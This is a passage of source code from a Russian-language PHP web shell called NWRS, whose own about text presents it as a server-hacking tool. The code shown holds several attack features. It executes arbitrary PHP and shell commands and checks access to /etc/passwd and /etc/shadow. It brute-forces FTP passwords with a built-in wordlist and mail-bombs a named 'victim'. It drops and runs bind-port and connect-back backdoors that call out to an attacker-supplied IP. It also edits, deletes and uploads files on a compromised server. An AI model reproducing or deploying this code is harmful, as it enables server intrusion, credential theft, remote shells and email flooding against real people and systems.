//PHP Eval Code execution
case "eval":
echo <<<HTML
<b>Исполнение php-кода (без "< ? ? >")</b>
<table>
<form method="POST" action="$self">
<input type="hidden" name="ac" value="eval">
<tr>
<td><textarea name="ephp" rows="10" cols="60"></textarea></td>
</tr>
<tr>
<td><input type="submit" value="Enter"></td>
$tend
HTML;
if (isset($_POST['ephp'])){
eval($_POST['ephp']);
}
break;
// SEND MAIL
case "sendmail":
echo <<<HTML
<table>
<form method="POST" action="$self">
<input type="hidden" name="ac" value="sendmail">
<tr>От кого: <br>
<input type="TEXT" name="frommail">
<br>Кому:<br> <input type="TEXT" name="tomailz">
<br>Тема: <br><input type="TEXT" name="mailtema">
<br>Текст: <br>
<td><textarea name="mailtext" rows="10" cols="60"></textarea></td>
</tr>
<tr>
<td><input type="submit" value="Отправить" name="submit"></td><form>
$tend
HTML;
// никакая проверка не делается, а зачем ? =)
if (isset($submit))
{
mail($tomailz,$mailtema,$mailtext,"From: $frommail");
echo "<h2>Сообщение отправлено!</h2>";
}
break;
// Информация о системе
case "info":
if (
@ini_get("safe_mode") or strtolower(
@ini_get("safe_mode")) == "on")
{
$safemode = true;
$hsafemode = "<font color=\"red\">Включено</font>";
}
else {$safemode = false; $hsafemode = "Отключено</font>";}
/* display information */
echo "<b>[ Информация о системе ]</b><br>";
echo "<b>Хост:</b> ".$_SERVER["HTTP_HOST"]."<br>";
echo "<b>IP сервера:</b> ".gethostbyname($_SERVER["HTTP_HOST"])."<br>";
echo " <b>Сервер: </b>".$_SERVER['SERVER_SIGNATURE']." ";
echo "<b>OC:</b> ".exec("uname -a")."(";
print "".php_uname()." )<br>\n";
echo "<b>Процессор:</b> ".exec("cat /proc/cpuinfo | grep GHz")."<br>";
echo "<b>Привилегии: </b>".exec("id")."<br>";
echo "<b>Всего места: </b>" . (int)(disk_total_space(getcwd())/(1024*1024)) . " MB " . "<b>Свободно</b>: " . (int)(disk_free_space(getcwd())/(1024*1024)) . " MB <br>";
echo "<b>Текущий каталог:</b>".exec("pwd")."";
echo " <br><b>Текуший web-путь: </b>".@$_SERVER['PHP_SELF']." ";
echo "<br><b>Твой IP:</b> ".$_SERVER['REMOTE_HOST']." (".$_SERVER['REMOTE_ADDR'].")<br>";
echo "<b>PHP version: </b>".phpversion()."<BR>";
echo "<b> ID владельца процеса: </b>".get_current_user()."<BR>";
echo "<b>MySQL</b> : ".mysql_get_server_info()."<BR>";
if(file_exists('/etc/passwd') && is_readable('/etc/passwd')){
print '<b>Есть доступ к /etc/passwd! </b><br>';
}
if(file_exists('/etc/shadow') && is_readable('/etc/shadow')){
print '<b>Есть доступ к /etc/shadow!</b> <br>';
}
if(file_exists('/etc/shadow-') && is_readable('/etc/shadow-')){
print '<b>Есть доступ к /etc/shadow-!</b> ';
}
if(file_exists('/etc/master.passwd') && is_readable('/etc/master.passwd')){
print '<b>Есть доступ к /etc/master.passwd! </b><br>';
}
if(isset($_POST['th']) && $_POST['th']!=''){
chdir($_POST['th']);
};
if(is_writable('/tmp/')){
$fp=fopen('/tmp/qq8',"w+");
fclose($fp);
print "/tmp - открыта <br>\n";
unlink('/tmp/qq8');
}
else{
print "<font color=red>/tmp - не открыта</font><br>";
}
echo "<b>Безопасный режим: ".$hsafemode."</b><br>";
if ($nixpasswd)
{
if ($nixpasswd == 1) {$nixpasswd = 0;}
$num = $nixpasswd + $nixpwdperpage;
echo "<b>*nix /etc/passwd:</b><br>";
$i = $nixpasswd;
while ($i < $num)
{
$uid = posix_getpwuid($i);
if ($uid) {echo join(":",$uid)."<br>";}
$i++;
}
}
else {echo "<br><a href=?ac=navigation&d=/etc/&e=passwd><b><u>Get /etc/passwd</u></b></a><br>";}
if (file_get_contents("/etc/userdomains")) {echo "<b><a href=\"".$surl."act=f&f=userdomains&d=/etc/&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></b><br>";}
if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><a href=\"".$surl."act=f&f=accounting.log&d=/var/cpanel/&ft=txt\"><u><b>View cpanel logs</b></u></a></b><br>";}
if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><a href=?ac=navigation&d=/usr/local/apache/conf&e=httpd.conf><u><b>Конфигурация Apache (httpd.conf)</b></u></a></b><br>";}
{ echo "<b><a href=?ac=navigation&d=/etc/httpd/conf&e=httpd.conf><u><b>Конфигурация Apache (httpd.conf)</b></u></a></b><br>";}
if (file_get_contents("/etc/httpd.conf")) {echo "<b><a href=?ac=navigation&d=/etc/&e=httpd.conf><u><b>Конфигурация Apache (httpd.conf)</b></u></a></b><br>";}
if (file_get_contents("/etc/httpd.conf")) {echo "<b><a href=?ac=navigation&d=/var/cpanel&e=accounting.log><u><b>cpanel log </b></u></a></b><br>";}
break;
// О скрипте
case "about":
echo "<center><b>Привет всем!</b><br><br>
Наконец-то NWRS доступен в первой стабильной версии! Добавилось множество новых полезных возможностей. Все функции скрипта работают и работают корректно. Добавлены уникальные инструменты для взлома сервера. В то же время нет ничего лишнего. Все, что задумывалось - реализировано. Думаю, каждый найдет в скрипте что-то полезное для себя. Также заявляю о том, что я закрываю проект, ибо он достиг идеала :) Любой может его продолжить, php - открытый язык. На первых порах скрипт вообще был только у нескольких человек узкого круга друзей, писал его для себя, из-за своей природной лени.
Ну, и спасибо этим людям: Nitrex, Terabyte, 1dt_wolf, xoce, FUF, Shift, dodbob, m0zg, Tristram, Sanchous (орфография и дизайн)... И многим другим... Их идеи очень помогли воплотить в жизнь столь универсальный инструмент. Огромное спасибо им!<br><br><b>Помните: используя этот скрипт на чужих серверах, вы нарушаете закон :) Так что осторожнее.</b></center>";
echo "<center><br><br><em>Посетите эти сайты, и вы всегда будете в курсе событий:</em><br><br>
<a href='http://www.ru24-team.net'>www.ru24-team.net</a><br><br>
<a href='http://www.web-hack.ru'>www.web-hack.ru</a><br><br>
<a href='http://www.rst.void.ru'>www.rst.void.ru</a><br><br>
<a href='http://www.hackru.info'>www.hackru.info</a><br><br>
<a href='http://www.realcoding.net'>www.realcoding.net</a><br><br>
<a href='http://www.ccteam.ru'>www.ccteam.ru</a><br><br>
Извиняюсь, если кого забыл.<br> <em>Автор не несет ответственности за материалы, размещенные на этих сайтах, оcобенно на последнем </em>:)
<br><br><br><br><br><b>Скрипт распространяется по лицензии GNU GPL<br> 22 Июля 2005 г. © DreAmeRz<br> e-mail:</b> <a href='mailto:
[email protected]'>
[email protected]</a><b> ICQ: </b>817312 <b>WEB: </b><a href='http://www.ru24-team.net'>http://www.Ru24-Team.NET</a>";
break;
// ФТП подбор паролей
case "ftppass":
$filename="/etc/passwd"; // passwd file
$ftp_server="localhost"; // FTP-server
echo "FTP-server: <b>$ftp_server</b> <br><br>";
$fp = fopen ($filename, "r");
if ($fp)
{
while (!feof ($fp)) {
$buf = fgets($fp, 100);
ereg("^([0-9a-zA-Z]{1,})\:",$buf,$g);
$ftp_user_name=$g[1];
$ftp_user_pass=$g[1];
$conn_id=ftp_connect($ftp_server);
$login_result=
@ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);
if (($conn_id) && ($login_result)) {
echo "<b>Подключение login:password - ".$ftp_user_name.":".$ftp_user_name."</b><br>";
ftp_close($conn_id);}
else {
echo $ftp_user_name." - error<br>";
}
}}
break;
case "ftp":
echo "
<TABLE CELLPADDING=0 CELLSPACING=0 width=500 align=center>
<form action='$PHP_SELF?ac=ftp' method=post><tr><td align=left valign=top colspan=3 class=pagetitle>
<b><a href=?ac=ftppass>Проверить на связку login\password</a></b>
</td></tr>
<tr><td align=center class=pagetitle width=150> FTP Host:</td>
<td align=left width=350>
<input class='inputbox' type='text' name='host' size=50></td></tr>
<tr><td align=center class=pagetitle width=150> Login:</td>
<td align=left width=350>
<input class='inputbox' type='text' name='login' size=50></td></tr>
<tr><td align=center class=pagetitle width=150> Колличество паролей:</td>
<td align=left width=350>
<input class='inputbox' type='text' name='number' size=10> <1000 pass </td></tr>
<tr><td align=center class=pagetitle width=150> Пароль для проверки:</td>
<td align=left width=350>
<input class='inputbox' type='text' name='testing' size=50>
<input type='submit' value='Brut FTP' class=button1 $style_button><br><b>Лог сохраняется в pass.txt</b></td></tr>
</form></table>";
function s() {
$word="qwrtypsdfghjklzxcvbnm";
return $word[mt_rand(0,strlen($word)-1)];
}
function g() {
$word="euioam";
return $word[mt_rand(0,strlen($word)-2)];
}
function name0() { return s().g().s(); }
function name1() { return s().g().s().g(); }
function name2() { return s().g().g().s(); }
function name3() { return s().s().g().s().g(); }
function name4() { return g().s().g().s().g(); }
function name5() { return g().g().s().g().s(); }
function name6() { return g().s().s().g().s(); }
function name7() { return s().g().g().s().g(); }
function name8() { return s().g().s().g().g(); }
function name9() { return s().g().s().g().s().g(); }
function name10() { return s().g().s().s().g().s().s(); }
function name11() { return s().g().s().s().g().s().s().g(); }
$cool=array(1,2,3,4,5,6,7,8,9,10,99,100,111,111111,666,1978,1979,1980,1981,1
982,1983,1984,1985,1986,1987,1988,1989,1990,1991,1992,1993,1994,1995,1996,1997,1
9
98,1999,2000,2001,2002,2003,2004,2005);
$cool2=array('q1w2e3','qwerty','qwerty111111','123456','1234567890','0987654321','asdfg','zxcvbnm','qazwsx','q1e3r4w2','q1r4e3w2','1q2w3e','1q3e2w','poiuytrewq','lkjhgfdsa','mnbvcxz','asdf','root','admin','admin123','lamer123','admin123456','administrator','administrator123','q1w2e3r4t5','root123','microsoft','muther','hacker','hackers','cracker');
function randword() {
global $cool;
$func="name".mt_rand(0,11);
$func2="name".mt_rand(0,11);
switch (mt_rand(0,11)) {
case 0: return $func().mt_rand(5,99);
case 1: return $func()."-".$func2();
case 2: return $func().$cool[mt_rand(0,count($cool)-1)];
case 3: return $func()."!".$func();
case 4: return randpass(mt_rand(5,12));
default: return $func();
}
}
function randpass($len) {
$word="qwertyuiopasdfghjklzxcvbnm1234567890";
$s="";
for ($i=0; $i<$len; $i++) {
$s.=$word[mt_rand(0,strlen($word)-1)];
}
return $s;
}
if (
@unlink("pass.txt") < 0){
echo "ничего нет";
exit;
}
$file="pass.txt";
if($file && $host && $login){
$cn=mt_rand(30,30);
for ($i=0; $i<$cn; $i++) {
$s=$cool2[$i];
$f=
@fopen(pass.".txt","a+");
fputs($f,"$s\n");
}
$cnt2=mt_rand(43,43);
for ($i=0; $i<$cnt2; $i++) {
$r=$cool[$i];
$f=
@fopen(pass.".txt","a+");
fputs($f,"$login$r\n");
}
$p="$testing";
$f=
@fopen(pass.".txt","a+");
fputs($f,"$p\n");
$cnt3=mt_rand($number,$number);
for ($i=0; $i<$cnt3; $i++) {
$u=randword();
$f=
@fopen(pass.".txt","a+");
fputs($f,"$u\n");
}
if(is_file($file)){
$passwd=file($file,1000);
for($i=0; $i<count($passwd); $i++){
$stop=false;
$password=trim($passwd[$i]);
$open_ftp=
@fsockopen($host,21);
if($open_ftp!=false){
fputs($open_ftp,"user $login\n");
fputs($open_ftp,"pass $password\n");
while(!feof($open_ftp) && $stop!=true){
$text=fgets($open_ftp,4096);
if(preg_match("/230/",$text)){
$stop=true;
$f=
@fopen($host._ftp,"a+");
fputs($f,"Enter on ftp:\nFTPhosting:\t$host\nLogin:\t$login\nPassword:\t$password\n ");
echo "
<TABLE CELLPADDING=0 CELLSPACING=0 width=500 align=center>
<tr><td align=center class=pagetitle><b><font color=\"blue\">Поздравляю!!! Пароль подобран.</font></b><br>
Коннект: <b>$host</b><br> Логин: <b>$login</b><br> Пароль: <b>$password</b></td></tr></table>
";exit;
}
elseif(preg_match("/530/",$text)){
$stop=true;
}
}
fclose($open_ftp);
}else{
echo "
<TABLE CELLPADDING=0 CELLSPACING=0 width=500 align=center>
<tr><td align=center class=pagetitle bgcolor=#FF0000><b>Неверно указан ftp хостинга!!! На <b><u>$host</u></b> закрыт 21 порт!</b></b></td></tr>
</table>
";exit;
}
}
}
}
break;
// SQL Attack
case "sql":
break;
// MailFlud
case "mailfluder":
$email=$_POST['email']; // Мыло жертвы
$from=$_POST['from']; // Мыло жертвы
$num=$_POST['num']; // Число писем
$text=$_POST['text']; // Текст флуда
$kb=$_POST['kb']; // Вес письма (kb)
?>
<script language="JavaScript"></script>
<?php
if (($email!="" and isset($email)) and ($num!="" and isset($num)) and ($text!="" and isset($text)) and ($kb!="" and isset($kb))) {
$num_text=strlen($text)+1; // Определяет длину текста + 1 (пробел в конце)
$num_kb=(1024/$num_text)*$kb;
$num_kb=ceil($num_kb);
for ($i=1; $i<=$num_kb; $i++) {
$msg=$msg.$text." ";
}
for ($i=1; $i<=$num; $i++) {
mail($email, $text, $msg, "From: $from");
}
$all_kb=$num*$kb;
echo <<<EOF
<p align="center">Жертва: <b>$email</b><br>
Кол-во писем: <b>$num</b><br>
Общий посланный объем: <b>$all_kb kb</b><br></p>
EOF;
}
else {
echo <<<EOF
<form action="?ac=mailfluder" method="post">
<table align="center" border="0" bordercolor="#000000">
<tr><td>Мыло жертвы</td><td><input type="text" name="email" value="
[email protected]" size="25"></td></tr>
<tr><td>От липового мыла</td><td><input type="text" name="from" value="
[email protected]" size="25"></td></tr>
<tr><td>Число писем</td><td><input type="text" name="num" value="5" size="25"></td></tr>
<tr><td>Текст флуда</td><td><input type="text" name="text" value="fack fack fack" size="25"></td></tr>
<tr><td>Вес письма (KB)</td><td><input type="text" name="kb" value="10" size="25"></td></tr>
<tr><td colspan="2" align="center"><input type="submit"> <input type="button" onclick="reset_form()" value="Reset"></td></tr>
</table>
</form>
EOF;
}
break;
case "tar":
# архивация директории
$fullpath = $d."/".$tar;
/* задаем случайные имена файлов архивации*/
$CHARS = "abcdefghijklmnopqrstuvwxyz";
for ($i=0; $i<6; $i++) $charsname .= $CHARS[rand(0,strlen($CHARS)-1)];
echo "<br>
Каталог <u><b>$fullpath</b></u> ".exec("tar -zc $fullpath -f $charsname.tar.gz")."упакован в файл <u>$charsname.tar.gz</u>";
echo "
<form action='?ac=tar' method='post'>
<tr><td align=center colspan=2 class=pagetitle><b>Архивация <u>$name.tar.gz</u>:</b></td></tr>
<tr>
<td valign=top><input type=text name=archive size=90 class='inputbox'value='tar -zc /home/$name$http_public -f $name.tar.gz' ></td>
<td valign=top><input type=submit value='Начать'></td>
</tr></form>";
exec($archive);
break;
// Навигация
case "navigation":
// Пошла навигация
$mymenu = " [<a href='$php_self?ac=navigation&d=$d&e=$e'>Просмотр </a>] [<a href='$php_self?ac=navigation&d=$d&e=$e&delete=1'>Удалить</a>] [<a href='$php_self?ac=navigation&d=$d&ef=$e&edit=1'>Редактировать</a>] [<a href='$php_self?ac=navigation&d=$d&e=$e&clean=1'>Очистить</a>] [<a href='$php_self?ac=navigation&d=$d&e=$e&replace=1'>Заменить текст</a>] [<a href='$php_self?ac=navigation&d=$d&download=$e'>Загрузить</a>]<br>";
if(@$_GET['download']){
@$download=$_GET['download'];
@$d=$_GET['d'];
header("Content-disposition: attachment; filename=\"$download\";");
readfile("$d/$download");
exit;}
$images=array(".gif",".jpg",".png",".bmp",".jpeg");
$whereme=getcwd();
@$d=@$_GET['d'];
$copyr = "<center>";
$php_self=@$_SERVER['PHP_SELF'];
if(
@eregi("/",$whereme)){$os="unix";}else{$os="win";}
if(!isset($d)){$d=$whereme;}
$d=str_replace("\\","/",$d);
$expl=explode("/",$d);
$coun=count($expl);
if($os=="unix"){echo "<a href='$php_self?ac=navigation&d=/'>/</a>";}
else{
echo "<a href='$php_self?ac=navigation&d=$expl[0]'>$expl[0]/</a>";}
for($i=1; $i<$coun; $i++){
@$xx.=$expl[$i]."/";
$sls="<a href='$php_self?ac=navigation&d=$expl[0]/$xx'>$expl[$i]</a>/";
$sls=str_replace("//","/",$sls);
$sls=str_replace("/'></a>/","/'></a>",$sls);
print $sls;
}
echo "</td></tr>";
//if($os=="unix"){ echo "
//<tr><td><b>id:</b> ".
@exec('id')."</td></tr>
//<tr><td><b>uname -a:</b> ".
@exec('uname -a')."</td></tr>";}
if(@$_GET['delfl']){
@$delfolder=$_GET['delfolder'];
echo "DELETE FOLDER: <font color=red>".@$_GET['delfolder']."</font><br>
(All files must be writable)<br>
<a href='$php_self?deldir=1&dir=".@$delfolder."&rback=".@$_GET['rback']."'>Yes</a> || <a href='$php_self?ac=navigation&d=$d'>No</a><br><br>
";
exit;
}
if(@$_GET['deldir']){
@$dir=$_GET['dir'];
function deldir($dir)
{
$handle =
@opendir($dir);
while (false!==($ff =
@readdir($handle))){
if($ff != "." && $ff != ".."){
if(
@is_dir("$dir/$ff")){
deldir("$dir/$ff");
}else{
@unlink("$dir/$ff");
}}}
@closedir($handle);
if(
@rmdir($dir)){
@$success = true;}
return @$success;
}
$dir=@$dir;
deldir($dir);
$rback=$_GET['rback'];
@$rback=explode("/",$rback);
$crb=count($rback);
for($i=0; $i<$crb-1; $i++){
@$x.=$rback[$i]."/";
}
echo "<meta http-equiv=\"REFRESH\" content=\"0;URL='$php_self?ac=navigation&d=".@$x."'\">";
echo $copyr;
exit;}
if(@$_GET['replace']=="1"){
$ip=@$_SERVER['REMOTE_ADDR'];
$d=$_GET['d'];
$e=$_GET['e'];
@$de=$d."/".$e;
$de=str_replace("//","/",$de);
$e=@$e;
echo $mymenu;
echo "
Средство замены:<br>
(ты можешь заменить любой текст)<br>
Файл: $de<br>
<form method=post>
1. Твой IP<br>
2. IP microsoft.com :)<br>
Заменять это <input name=this size=30 value=$ip> этим <input name=bythis size=30 value=207.46.245.156>
<input type=submit name=doit value=Заменить>
</form>
";
if(@$_POST['doit']){
$filename="$d/$e";
$fd =
@fopen ($filename, "r");
$rpl =
@fread ($fd,
@filesize ($filename));
$re=str_replace("$this","$bythis",$rpl);
$x=
@fopen("$d/$e","w");
@fwrite($x,"$re");
echo "<br><center>$this заменено на $bythis<br>
[<a href='$php_self?ac=navigation&d=$d&e=$e'>Посмотреть файл</a>]<br><br><Br>";
}
echo $copyr;
exit;}
if(@$_GET['yes']=="yes"){
$d=@$_GET['d']; $e=@$_GET['e'];
unlink($d."/".$e);
$delresult="$d/$e удален! <meta http-equiv=\"REFRESH\" content=\"2;URL=$php_self?ac=navigation&d=$d\">";
}
if(@$_GET['clean']=="1"){
@$e=$_GET['e'];
$x=fopen("$d/$e","w");
fwrite($x,"");
echo "<meta http-equiv=\"REFRESH\" content=\"0;URL=$php_self?ac=navigation&d=$d&e=".@$e."\">";
exit;
}
if(@$_GET['e']){
$d=@$_GET['d'];
$e=@$_GET['e'];
$pinf=pathinfo($e);
if(in_array(".".@$pinf['extension'],$images)){
echo "<meta http-equiv=\"REFRESH\" content=\"0;URL=$php_self?ac=navigation&d=$d&e=$e&img=1\">";
exit;}
$filename="$d/$e";
$fd =
@fopen ($filename, "r");
$c =
@fread ($fd,
@filesize ($filename));
$c=htmlspecialchars($c);
$de=$d."/".$e;
$de=str_replace("//","/",$de);
if(is_file($de)){
if(!is_writable($de)){echo "<font color=red><br><b>ТОЛЬКО ЧТЕНИЕ</b></font><br>";}}
echo $mymenu;
echo "
Содержимое файла:<br>
$de
<br>
<table width=100% border=1 cellpadding=0 cellspacing=0>
<tr><td><pre>
$c
</pre></td></tr>
</table>";
if(@$_GET['delete']=="1"){
$delete=$_GET['delete'];
echo "
Удаление: ты уверен?<br>
<a href=\"$php_self?ac=navigation&d=$d&e=$e&delete=".@$delete."&yes=yes\">Да</a> || <a href='$php_self?no=1'>Нет</a>
<br>
";
if(@$_GET['yes']=="yes"){
@$d=$_GET['d']; @$e=$_GET['e'];
echo $delresult;
}
if(@$_GET['no']){
echo "<meta http-equiv=\"REFRESH\" content=\"0;URL=$php_self?ac=navigation&d=$d&e=$e\">
";
}
} #end of delete
echo $copyr;
exit;
} #end of e
if(@$_GET['edit']=="1"){
@$d=$_GET['d'];
@$ef=$_GET['ef'];
if(is_file($d."/".$ef)){
if(!is_writable($d."/".$ef)){echo "<font color=red><br><b>ТОЛЬКО ЧТЕНИЕ</b></font><br>";}}
echo $mymenu;
$filename="$d/$ef";
$fd =
@fopen ($filename, "r");
$c =
@fread ($fd,
@filesize ($filename));
$c=htmlspecialchars($c);
$de=$d."/".$ef;
$de=str_replace("//","/",$de);
echo "
Редактирование:<br>
$de<br>
<form method=post>
<input type=HIDDEN name=filename value='$d/$ef'>
<textarea cols=143 rows=30 name=editf>$c</textarea>
<br>
<input type=submit name=save value='Сохранить изменения'></form><br>
";
if(@$_POST['save']){
$editf=@$_POST['editf'];
$editf=stripslashes($editf);
$f=fopen($filename,"w+");
fwrite($f,"$editf");
echo "<meta http-equiv=\"REFRESH\" content=\"0;URL=$php_self?ac=navigation&d=$d&e=$ef\">";
exit;
}
echo $copyr;
exit;
}
echo"
<table width=100% cellpadding=1 cellspacing=0 class=hack>
<tr><td bgcolor=#4d9ef0><center><b>Название</b></td><td bgcolor=#4d9ef0><center><b>Тип</b></td><td bgcolor=#4d9ef0><b>Размер</b></td><td bgcolor=#4d9ef0><center><b>Владелец/Группа</b></td><td bgcolor=#4d9ef0><b>Права</b></td></tr>
";
$dirs=array();
$files=array();
$dh =
@opendir($d) or die("<table width=100%><tr><td><center>Каталог не существует или доступ к нему запрещен!</center><br>$copyr</td></tr></table>");
while (!(($file = readdir($dh)) === false)) {
if ($file=="." || $file=="..") continue;
if (
@is_dir("$d/$file")) {
$dirs[]=$file;
}else{
$files[]=$file;
}
sort($dirs);
sort($files);
$fz=
@filesize("$d/$file");
}
function perm($perms){
if (($perms & 0xC000) == 0xC000) {
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
$info = 'p';
} else {
$info = 'u';
}
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
for($i=0; $i<count($dirs); $i++){
if(is_writable($dirs[$i])){$info="<font color=green><li> W</font>";}
else{$info="<font color=red><li> R</font>";}
$perms =
@fileperms($d."/".$dirs[$i]);
$owner =
@fileowner($d."/".$dirs[$i]);
if($os=="unix"){
$fileownera=posix_getpwuid($owner);
$owner=$fileownera['name'];
}
$group =
@filegroup($d."/".$dirs[$i]);
if($os=="unix"){
$groupinfo = posix_getgrgid($group);
$group=$groupinfo['name'];
}
$info=perm($perms);
if($i%2){$color="#aed7ff";}else{$color="#68adf2";}
$linkd="<a href='$php_self?ac=navigation&d=$d/$dirs[$i]'>$dirs[$i]</a>";
$linkd=str_replace("//","/",$linkd);
echo "<tr><td bgcolor=$color><font face=wingdings size=2>0</font> $linkd</td><td bgcolor=$color><center><font color=blue>DIR</font></td><td bgcolor=$color> </td><td bgcolor=$color><center>$owner/$group</td><td bgcolor=$color>$info</td></tr>";
}
for($i=0; $i<count($files); $i++){
if(is_writable($files[$i])){$info="<font color=green><li> W</font>";}
else{$info="<font color=red><li> R</font>";}
$size=
@filesize($d."/".$files[$i]);
$perms =
@fileperms($d."/".$files[$i]);
$owner =
@fileowner($d."/".$files[$i]);
if($os=="unix"){
$fileownera=posix_getpwuid($owner);
$owner=$fileownera['name'];
}
$group =
@filegroup($d."/".$files[$i]);
if($os=="unix"){
$groupinfo = posix_getgrgid($group);
$group=$groupinfo['name'];
}
$info=perm($perms);
if($i%2){$color="#ccccff";}else{$color="#b0b0ff";}
if ($size < 1024){$siz=$size.' b';
}else{
if ($size < 1024*1024){$siz=number_format(($size/1024), 2, '.', '').' kb';}else{
if ($size < 1000000000){$siz=number_format($size/(1024*1024), 2, '.', '').' mb';}else{
if ($size < 1000000000000){$siz=number_format($size/(1024*1024*1024), 2, '.', '').' gb';}
}}}
echo "<tr><td bgcolor=$color><font face=wingdings size=3>2</font> <a href='$php_self?ac=navigation&d=$d&e=$files[$i]'>$files[$i]</a></td><td bgcolor=$color><center><a href='$php_self?ac=navigation&d=$d&download=$files[$i]' title='Download $files[$i]'><font size=2 face=Webdings color=green>`</font></a></td><td bgcolor=$color>$siz</td><td bgcolor=$color><center>$owner/$group</td><td bgcolor=$color>$info</td></tr>";
}
echo "</table></td></tr></table>";
echo $copyr;
break;
// Установка бекдора
case "backconnect":
echo "<b>Установка бекдора / открытие порта</b>";
echo "<form name=bind method=POST>";
echo "<font face=Verdana size=-2>";
echo "<b>Открыть порт </b>";
echo "<input type=text name=port size=15 value=11457> ";
echo "<b>Пароль для доступа </b>";
echo "<input type=text name=bind_pass size=15 value=nrws> ";
echo "<b>Использовать </b>";
echo "<select size=\"1\" name=\"use\">";
echo "<option value=\"Perl\">Perl</option>";
echo "<option value=\"C\">C</option>";
echo "</select> ";
echo "<input type=hidden name=dir value=".$dir.">";
echo "<input type=submit name=submit value=Открыть>";
echo "</font>";
echo "</form>";
echo "<b>Установка бекдора / connect-back</b>";
echo "<form name=back method=POST>";
echo "<font face=Verdana size=-2>";
echo "<b>IP-адрес </b>";
echo "<input type=text name=ip size=15 value=127.0.0.1> ";
echo "<b>Порт </b>";
echo "<input type=text name=port size=15 value=31337> ";
echo "<b>Использовать </b>";
echo "<select size=\"1\" name=\"use\">";
echo "<option value=\"Perl\">Perl</option>";
echo "<option value=\"C\">C</option>";
echo "</select> ";
echo "<input type=hidden name=dir value=".$dir.">";
echo "<input type=submit name=submit value=Выполнить>";
echo "</font>";
echo "</form>";
/* port bind C */
if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C"))
{
$w_file=fopen("/tmp/bd.c","ab+") or $err=1;
if($err==1)
{
echo "<font color=red face=Fixedsys><div align=center>ОШИБКА! Невозможна запись в /tmp/bd.c</div></font>";
$err=0;
}
else
{
fputs($w_file,base64_decode($port_bind_bd_c));
fclose($w_file);
$blah=exec("gcc -o /tmp/bd /tmp/bd.c");
unlink("/tmp/bd.c");
$bind_string="/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &";
$blah=exec($bind_string);
$_POST['cmd']="ps -aux | grep bd";
$err=0;
}
}
/* port bind Perl */
if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl"))
{
$w_file=fopen("/tmp/bdpl","ab+") or $err=1;
if($err==1)
{
echo "<font color=red face=Fixedsys><div align=center>ОШИБКА! Невозможна запись в /tmp/</div></font>";
$err=0;
}
else
{
fputs($w_file,base64_decode($port_bind_bd_pl));
fclose($w_file);
$bind_string="perl /tmp/bdpl ".$_POST['port']." &";
$blah=exec($bind_string);
$_POST['cmd']="ps -aux | grep bdpl";
$err=0;
}
}
/* back connect Perl */
if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl"))
{
$w_file=fopen("/tmp/back","ab+") or $err=1;
if($err==1)
{
echo "<font color=red face=Fixedsys><div align=center>ОШИБКА! Невозможна запись в /tmp/</div></font>";
$err=0;
}
else
{
fputs($w_file,base64_decode($back_connect));
fclose($w_file);
$bc_string="perl /tmp/back ".$_POST['ip']." ".$_POST['port']." &";
$blah=exec($bc_string);
$_POST['cmd']="echo \"Сейчас скрипт коннектится к ".$_POST['ip']." port ".$_POST['port']." ...\"";
$err=0;
}
}
/* back connect C */
if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C"))
{
$w_file=fopen("/tmp/back.c","ab+") or $err=1;
if($err==1)
{
echo "<font color=red face=Fixedsys><div align=center>ОШИБКА! Невозможна запись в /tmp/back.c</div></font>";
$err=0;
}
else
{
fputs($w_file,base64_decode($back_connect_c));
fclose($w_file);
$blah=exec("gcc -o /tmp/backc /tmp/back.c");
unlink("/tmp/back.c");
$bc_string="/tmp/backc ".$_POST['ip']." ".$_POST['port']." &";
$blah=exec($bc_string);
$_POST['cmd']="echo \"Сейчас скрипт коннектится к ".$_POST['ip']." port ".$_POST['port']." ...\"";
$err=0;
}
}
echo "<font face=Verdana size=-2>Выполненная команда: <b>".$_POST['cmd']."</b></font></td></tr><tr><td>";
echo "<b>";
echo "<br>Результат: ";
echo "<font color=red size=2";
print "".passthru($_POST['cmd'])."";
echo "</font></b>";
break;
// Uploading
case "upload":
echo <<<HTML
<b>Загрузка файлов</b>
<a href='$php_self?ac=massupload&d=$d&t=massupload'>* Загрузить большое количество файлов *</a><br><br>
<table>
<form enctype="multipart/form-data" action="$self" method="POST">
<input type="hidden" name="ac" value="upload">
<tr>
<td>Файл:</td>
<td><input size="48" name="file" type="file"></td>
</tr>
<tr>
<td>Папка:</td>
<td><input size="48" value="$docr/" name="path" type="text"><input type="submit" value="Послать"></td><br>
$tend
HTML;
if (isset($_POST['path'])){
$uploadfile = $_POST['path'].$_FILES['file']['name'];
if ($_POST['path']==""){$uploadfile = $_FILES['file']['name'];}
if (copy($_FILES['file']['tmp_name'], $uploadfile)) {
echo "Файл успешно загружен в папку $uploadfile\n";
echo "Имя:" .$_FILES['file']['name']. "\n";
echo "Размер:" .$_FILES['file']['size']. "\n";
} else {
print "Не удаётся загрузить файл. Info:\n";
print_r($_FILES);
}
}
echo "<form enctype='multipart/form-data' action='?ac=upload&status=ok' method=post>
<b>Загрузка файлов с удаленного компьютера:</b><br>
